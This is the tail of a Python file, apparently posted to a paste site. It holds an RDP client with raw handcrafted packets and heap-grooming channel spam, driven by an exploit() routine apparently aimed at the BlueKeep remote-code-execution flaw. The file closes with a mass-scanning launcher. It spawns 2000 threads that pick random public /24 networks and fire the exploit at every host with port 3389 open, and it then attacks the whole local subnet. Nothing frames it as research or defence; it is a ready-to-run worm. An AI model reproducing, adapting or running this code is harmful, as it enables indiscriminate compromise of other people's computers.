        self.send_client_info()
 
        self.recv_packet()  # Server License Error PDU
        # TODO: handle license packet for server 2008 RDS
        self.recv_packet()  # Server Demand Active PDU
 
        self.send_confirm_active()
        self.send_establish_session()
 
        print_good("Completed RDP handshake!", self.args)
 
        while self.sock != None:
            pkt = self.recv_packet()
            self._handle_packet(pkt)
 
    def disconnect(self):
        if self.sock != None:
            #self.sock.shutdown(socket.SHUT_RDWR)
            self.sock.close()
            self.sock = None
 
    def transport_write(self, pkt):
        #self.print_func("[RdpClient] _transport_write(%d): %s" % (len(pkt), binascii.hexlify(pkt[0:50])))
        self.tls.sendall(pkt)
 
    def _handle_packet(self, pkt):
        if pkt[0] == 0x3 or pkt[0] == '\x03':
            self._handle_tpkt(pkt)
        else:
            pass
 
    def _handle_tpkt(self, pkt):
        if pkt[4:7] != b"\x02\xf0\x80":
            return
 
        if pkt[7] == 0x68 or pkt[7] == '\x68':
            user = pkt[8:10]
            channel_id = struct.unpack(">H", pkt[10:12])[0]
            channel = self.find_channel_by_id(channel_id)
 
            if channel == None:
                return
 
            flags = pkt[18:22]
            data = pkt[22:]
            channel.on_data_received(self, data, flags, pkt)
 
    def _create_socket(self):
        self.sock = socket.create_connection((self.host, self.port), self.timeout)
        #self.sock.settimeout(self.timeout)
 
        context = ssl._create_unverified_context(protocol = self.protocol) # allow certificate errors!
 
        self.sock.sendall(self.build_negotiate_request())
        self.sock.recv(8192)
 
        self.tls = context.wrap_socket(self.sock, server_hostname=self.host)
 
    def recv_packet(self):
        ''' throws socket.timeout '''
        hdr = self.recv_raw(4)
        #print_good(repr(hdr))
 
        if hdr[0] == 0x3 or hdr[0] == '\x03':
            amount = struct.unpack(">H", hdr[2:4])[0] - 4
        else:
            flags = hdr[1]
            if (flags & 0x80) == 0x80:
                amount = (struct.unpack(">H", hdr[1:3])[0] & 0x7FFF) - 4
            else:
                amount = flags - 4
 
        hdr += self.recv_raw(amount)
 
        #print_good(repr(hdr))
 
        self.print_func("[RdpClient] recv_packet(%d): %s" % (len(hdr), binascii.hexlify(hdr[0:50])))
        return hdr
 
    def recv_raw(self, amount):
        ''' throws socket.timeout '''
        data = b""
        while amount > 0:
            new_data = self.tls.recv(amount)
            data += new_data
            amount -= len(new_data)
 
        return data
 
    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2
    def build_negotiate_request(self):
        pkt = b""
        pkt += b"\x03\x00\x00\x13"                    # TPKT
        pkt += b"\x0e\xe0\x00\x00\x00\x00\x00"        # X.224 0xe = CR TPDU
        pkt += b"\x01"                                # RDP Negotiation Request
        pkt += b"\x00"                                # Flags
        pkt += b"\x08\x00"                            # Length
        pkt += b"\x01\x00\x00\x00"                    # request TLS
        return pkt
 
    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2610fcc7-3df4-4166-85bb-2c7ae21f6151
    def send_client_data(self):
        '''
        p = b"\x03\x00\x01\xca"          # TPKT
        p += b"\x02\xf0\x80"             # X.224 Data TPDU
        p += b"\x7f\x65"                 # BER: Application-Defined Type = APPLICATION 101 = Connect-Initial
        p += b"\x82"                     # BER length in next two bytes >256 <65536
        p += b"\x07\xc2"                 # length of rest of the data
 
        p += b"\x04\x01\x01"             # Connect-Initial::callingDomainSelector
        p += b"\x04\x01\x01"             # Connect-Initial::calledDomainSelector
        p += b"\x01\x01\xff"             # Connect-Initial::upwardFlag = TRUE
 
        p += b"\x30\x1a"                 # Connect-Initial::targetParameters
        p += b"\x02\x01\x22"             # DomainParameters::maxChannelIds = 34
        p += b"\x02\x01\x02"             # DomainParameters::maxUserIds = 2
        p += b"\x02\x01\x00"             # DomainParameters::maxTokenIds = 0
        p += b"\x02\x01\x01"             # DomainParameters::numPriorities = 1
        p += b"\x02\x01\x00"             # DomainParameters::minThroughput = 0
        p += b"\x02\x01\x01"             # DomainParameters::maxHeight = 1
        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxMCSPDUsize = 65535
        p += b"\x02\x01\x02"             # DomainParameters::protocolVersion = 2
 
        p += b"\x30\x19"                 # Connect-Initial::minimumParameters (25 bytes)
        p += b"\x02\x01\x01"             # DomainParameters::maxChannelIds = 1
        p += b"\x02\x01\x01"             # DomainParameters::maxUserIds = 1
        p += b"\x02\x01\x01"             # DomainParameters::maxTokenIds = 1
        p += b"\x02\x01\x01"             # DomainParameters::numPriorities = 1
        p += b"\x02\x01\x00"             # DomainParameters::minThroughput = 0
        p += b"\x02\x01\x01"             # DomainParameters::maxHeight = 1
        p += b"\x02\x02\x04\x20"         # DomainParameters::maxMCSPDUsize = 1056
        p += b"\x02\x01\x02"             # DomainParameters::protocolVersion = 2
 
        p += b"\x30\x20"                 # Connect-Initial::maximumParameters
        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxChannelIds = 65535
        p += b"\x02\x03\x00\xfc\x17"     # DomainParameters::maxUserIds = 64535
        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxTokenIds = 65535
        p += b"\x02\x01\x01"             # DomainParameters::numPriorities = 1
        p += b"\x02\x01\x00"             # DomainParameters::minThroughput = 0
        p += b"\x02\x01\x01"             # DomainParameters::maxHeight = 1
        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxMCSPDUsize = 65535
        p += b"\x02\x01\x02"             # DomainParameters::protocolVersion = 2
 
        # begin Connect-Initial::userData
        p += b"\x04"                     # ASN.1 OctetString
        p += b"\x82"                     # BER length in next two bytes >256 <65536
        p += b"\x01\x61"                 # length of rest of the data
 
        p += b"\x00\x05"                 # CHOICE: 0, object length = 5 bytes
        p += b"\x00\x14\x7c\x00\x01"     # v.1 of ITU-T Recommendation T.124 (Feb 1998): "Generic Conference Control"
 
        # begin ConnectData::connectPDU
        p += b"\x81\x44"
        p += b"\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00"
        p += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x20\x80" # rdpdr = 7264706472   c0a00000
        p += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr
        p += b"\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0" # drdynvc
        p += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x80"  # MS_T120
 
        # TODO: finish doing the above thing!
        '''
 
        pkt = b""
        pkt += b"\x03\x00\x02\x13\x02\xf0\x80\x7f\x65\x82\x02\x07\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x1a\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x20\x02\x03\x00\xff\xff\x02\x03\x00\xfc\x17\x02\x03\x00\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x04\x82\x01\xa1\x00\x05\x00\x14\x7c\x00\x01\x81\x98\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x8a\x01\xc0\xea\x00\x0b\x00\x08\x00\x00\x04\x00\x03\x01\xca\x03\xaa\x09\x04\x00\x00\x28\x0a\x00\x00\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x61\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x80\x00\x0a\x00\x00\x00"
 
        # TODO: dynamically generate this list based on self.channels
        pkt += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x80\xc0" # rdpdr
        spam_channel = self.args['GROOMCHANNEL'].encode() # TODO: remove global
        full_spam_pkt = spam_channel + (b"\x00" * (8 - len(spam_channel))) + b"\x00\x00\x00\xc0"
        pkt += full_spam_pkt
        pkt += full_spam_pkt
        #pkt += b"\x72\x64\x70\x73\x6e\x64\x00\x00\x00\x00\x00\xc0" # rdpsnd
        #pkt += b"\x43\x54\x58\x54\x57\x20\x20\x00\x00\x00\x80\xc0"
        #pkt += b"\x52\x44\x50\x44\x4e\x44\x00\x00\x00\x00\xa0\xc0" # RDPDND
        #pkt += b"\x52\x44\x50\x43\x6c\x69\x70\x00\x00\x00\x00\xc0" # RDPClip
        #pkt += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr
        pkt += b"\x4d\x53\x5f\x58\x58\x58\x30\x00\x00\x00\xa0\xc0" # MS_XXX0
        pkt += b"\x4d\x53\x5f\x58\x58\x58\x31\x00\x00\x00\xa0\xc0" # MS_XXX1
        pkt += b"\x4d\x53\x5f\x58\x58\x58\x32\x00\x00\x00\xa0\xc0" # MS_XXX2
        pkt += b"\x4d\x53\x5f\x58\x58\x58\x33\x00\x00\x00\xa0\xc0" # MS_XXX3
        pkt += b"\x4d\x53\x5f\x58\x58\x58\x34\x00\x00\x00\xa0\xc0" # MS_XXX4
        pkt += b"\x4d\x53\x5f\x58\x58\x58\x35\x00\x00\x00\xa0\xc0" # MS_XXX5
        pkt += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\xa0\xc0" # MS_T120
 
        pkt += b"\x06\xc0\x08\x00\x00\x00\x00\x00"
 
        self.transport_write(pkt)
        self.recv_packet()
 
    def send_client_info(self):
        p = b"\x03\x00\x01\x49\x02\xf0\x80\x64"
        p += struct.pack(">H", self.get_user_id())
        p += b"\x03\xeb\x70\x81\x3a\x40\x00\x00\x00\x00\x00\x00\x00\xf3\x47\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x2e\x00\x34\x00\x37\x00\x00\x00\x00\x00\x42\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x00\x00\x00\x00\x86\x00\x00\x00\x00\x00"
        self.transport_write(p)
 
    def send_channel_join(self, channel_id):
        p = b""
        p += b"\x03\x00\x00\x0c\x02\xf0\x80\x38"  # Channel Join Request PDU
        p += struct.pack(">H", self.get_user_id())
        p += struct.pack(">H", channel_id)
 
        self.transport_write(p)
        self.recv_packet() # Channel Join Confirm PDU
 
    def send_channel_packets(self):
        p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"  # MCS Erect Domain
        self.transport_write(p1)
 
        p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" # MCS Attach User Request PDU
        self.transport_write(p2)
        self.recv_packet() # MCS Attach User Confirm PDU
 
        self.send_channel_join(self.get_user_channel_id())  # User Channel
        self.send_channel_join(1003)                        # I/O Channel
 
        for channel in self.channels:
            self.send_channel_join(channel.channel_id)
 
    def send_confirm_active(self):
        p = b""
        p += b"\x03\x00\x01\xe0\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x81\xd1\xd1\x01\x13\x00\xef\x03\xea\x03\x01\x00\xea\x03\x08\x00\xb9\x01\x46\x52\x45\x45\x52\x44\x50\x00\x13\x00\x00\x00\x01\x00\x18\x00\x04\x00\x07\x00\x00\x02\x00\x00\x00\x00\x15\x04\x00\x00\x00\x00\x00\x00\x01\x01\x02\x00\x1c\x00\x10\x00\x01\x00\x01\x00\x01\x00\x00\x04\x00\x03\x00\x00\x01\x00\x01\x00\x00\x08\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe9\xfd\x00\x00\x13\x00\x28\x00\x03\x00\x00\x05\x58\x02\x00\x00\x58\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x14\x00\x0d\x00\x58\x00\x3d\x00\x00\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x08\x00\x02\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x14\x00\x0c\x00\x00\x00\x00\x00\x40\x06\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1a\x00\x08\x00\xff\xff\x00\x00\x1c\x00\x0c\x00\x52\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x05\x00\x00"
        self.transport_write(p)
 
    def send_establish_session(self):
        # Client Synchronize PDU
        p = b"\x03\x00\x00\x25\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x16\x16\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03"
        self.transport_write(p)
 
        # Client Control PDU - Cooperate
        p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
        self.transport_write(p)
 
        # Client Control PDU - Request Control
        p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
        self.transport_write(p)
 
        # Client Persistent Key List PDU
        p = b"\x03\x00\x00\x39\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x2a\x2a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x18\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
        self.transport_write(p)
 
        # Client Font List PDU
        p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00"
        self.transport_write(p)
 
    def add_tpkt_header(self, p, add_x224_tpdu = True):
        if add_x224_tpdu:
            p = b"\x02\xf0\x80" + p
 
        tpkt = b"\x03\x00"
        tpkt += struct.pack(">H", len(p) + 4)
        tpkt += p
 
        return tpkt
 
    def terminate_connection(self):
        p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80"
        self.transport_write(p)
 
    def make_channel_raw(self, channel_id, data, total_length, flags = 0):
        p = b""
        p += b"\x64"                                    # MCS Send Data Request structure (SDrq, choice 25 from DomainMCSPDU)... right-padded two 0-bits
        p += struct.pack(">H", self.get_user_id())      # userId
        p += struct.pack(">H", channel_id)              # channelId
        p += b"\x70" #\x80"                             # securityHeader?
 
        msg_len = 0x8000 | (len(data) + 8)
        p += struct.pack(">H", msg_len)         # msg packet length!
        p += struct.pack("<L", total_length)    # CHANNEL_PDU_HEADER.length
        p += struct.pack("<L", flags)           # CHANNEL_PDU_HEADER.flags
 
        p += data
 
        tpkt = self.add_tpkt_header(p)
        return tpkt
 
    def send_channel_raw(self, channel_id, data, total_length, flags = 0):
        tpkt = self.make_channel_raw(channel_id, data, total_length, flags)
        self.transport_write(tpkt)
 
    def send_channel_message(self, channel_id, data):
        # TODO: message flags '| 0x10' if certain channel flags
        # TODO: must split in chunks of 1600 (amount from early server pkt)
        self.send_channel_raw(channel_id, data, len(data), 3)
 
    def get_user_channel_id(self):
        return 1004 + len(self.channels)
 
    def get_user_id(self):
        return (1004 + len(self.channels)) - 1001
 
        
def full_msg(msg, args):
    return "%s:%s - %s" % (args['RHOST'], args['RPORT'], msg)
 
def print_good(msg, args):
    log(full_msg(msg, args), 'good')
 
def print_status(msg, args):
    log(full_msg(msg, args), 'info')
 
def print_status_counter(description, i, bound, start = 0x0):
    modu = int(bound / 100)
    if (i != 0 and i+1 != bound) and (i % modu != 0):
        return
 
    perc = int((i+1) / bound * 100)
    msg = "%s - %d%%" % (full_msg(description, args), perc)
    if i + 1 != bound:
        msg = msg + "\033[F\r"
    log(msg)
 
def print_sleep(description, seconds, client, tpkts):
    seconds = int(seconds)
    while True:
        msg = "%s - %d sec    " % (full_msg(description, args), seconds)
        if seconds == 0:
            log(msg)
            break
 
        msg = msg + "\033[F\r"
        seconds -= 1
        log(msg)
        client.transport_write(tpkts)
        time.sleep(1)
 
def print_bad(msg, args):
    log(full_msg(msg, args), 'error')
 
def print_warning(msg, args):
    log(full_msg(msg, args), 'warning')
 
def vprint_status(msg, args):
    if args['VERBOSE'] != 'false':
        print_status(msg, args)
 
def dummy_print(msg, args = ""):
    pass
 
def exploit(args):
    
    try:
        start = time.time()
        # fix MSF stuff
        args['RPORT'] = int(args['RPORT'])
        args['GROOMSIZE'] = int(args['GROOMSIZE'])
        args['GROOMBASE'] = int(args['GROOMBASE'])
 
        if args['EXITFUNC'] != 'thread':
            log("ERROR: set EXITFUNC thread", 'error')
 
        #vprint_status("Args: " + repr(args))
 
        protocol_str = 'PROTOCOL_' + args['SSLVersion']
        protocol = getattr(ssl, protocol_str) \
                if hasattr(ssl, protocol_str) \
                else ssl.PROTOCOL_TLSv1
 
        rdp = RdpClient(args, args['RHOST'], args['RPORT'], protocol, print_func = dummy_print)
 
        groom = GroomStrategy.factory(rdp, args)
 
        if not groom:
            print_bad("Invalid groom strategy: %s" % (args['GROOM']), args)
            sys.exit(-1)
 
        rdp.add_channel(ExploitRdpdrChannel(groom)) # "rdpdr"
        rdp.add_channel(RdpChannel("rdpsnd"))
        rdp.add_channel(RdpChannel("cliprdr"))
        rdp.add_channel(RdpChannel("MS_XXX0"))
        rdp.add_channel(RdpChannel("MS_XXX1"))
        rdp.add_channel(RdpChannel("MS_XXX2"))
        rdp.add_channel(RdpChannel("MS_XXX3"))
        rdp.add_channel(RdpChannel("MS_XXX4"))
        rdp.add_channel(RdpChannel("MS_XXX5"))
        rdp.add_channel(RdpChannel("MS_T120"))
 
        groom.before_connect()
 
        print_status("Connecting to the target...", args)
        rdp.connect()
    except Exception as e:
        print_bad(str(e), args)
        #print_status(traceback.format_exc(), args)
    finally:
        print_status("Exploit completed in %d seconds." % (time.time() - start), args)
def log(msg, level = 'info'):
    symbols = {'info' : '*', 'good' : '+', 'warning' : '!', 'error' : '-'}
    print("[%s] %s" % (symbols[level], msg))
 
def gen_IP_block():
    not_valid = [10,127,169,172,192]
    first = random.randrange(1,256)
    while first in not_valid:
        first = random.randrange(1,256)
    ip = ".".join([str(first),str(random.randrange(1,256)),
    str(random.randrange(1,256))])
    return ip+".0/24"
 
def ip_range(input_string):
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
 
    for address in itertools.product(*ranges):
        yield '.'.join(map(str, address))
 
def Scan(IP):
    try:
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((IP, 3389))
            s.close()
            args={}
            args['RHOST'] = IP
            args['RPORT'] = 3389
            args['GROOM'] = 'chunk'
            args['SSLVersion'] = 'TLSv1'
            args['GROOMSIZE'] = 50
            args['GROOMCHANNEL'] = 'RDPSND'
            args['GROOMCHANNELCOUNT'] = 1
            args['GROOMBASE'] = 0xfffffa8002407000
            args['EXITFUNC'] = 'thread'
            args['VERBOSE'] = 1
            exploit(args)
    except Exception as e:
        pass
def HaxThread():
    while 1:
        for IP in [str(ip) for ip in ipaddress.IPv4Network(gen_IP_block())]:
            Scan(IP)
def checklist(chunk, fh):
    global running
    global rekt
    running += 1
    threadID = running
    for login in chunk:
        try:
            Scan(login)
        except:
            pass
    print("\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded))
    running -= 1
 
if __name__ == "__main__":
    threads = 0
    for i in range(2000):
        try:
            threading.Thread(target=HaxThread, args=()).start()
            threads+=2
        except:
            pass
    myIP = socket.gethostbyname(socket.gethostname())
    for IP in [str(ip) for ip in ipaddress.IPv4Network('.'.join(myIP.split('.')[:3]) + ".0/24")]:
        if IP != myIP:
            Scan(IP)

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎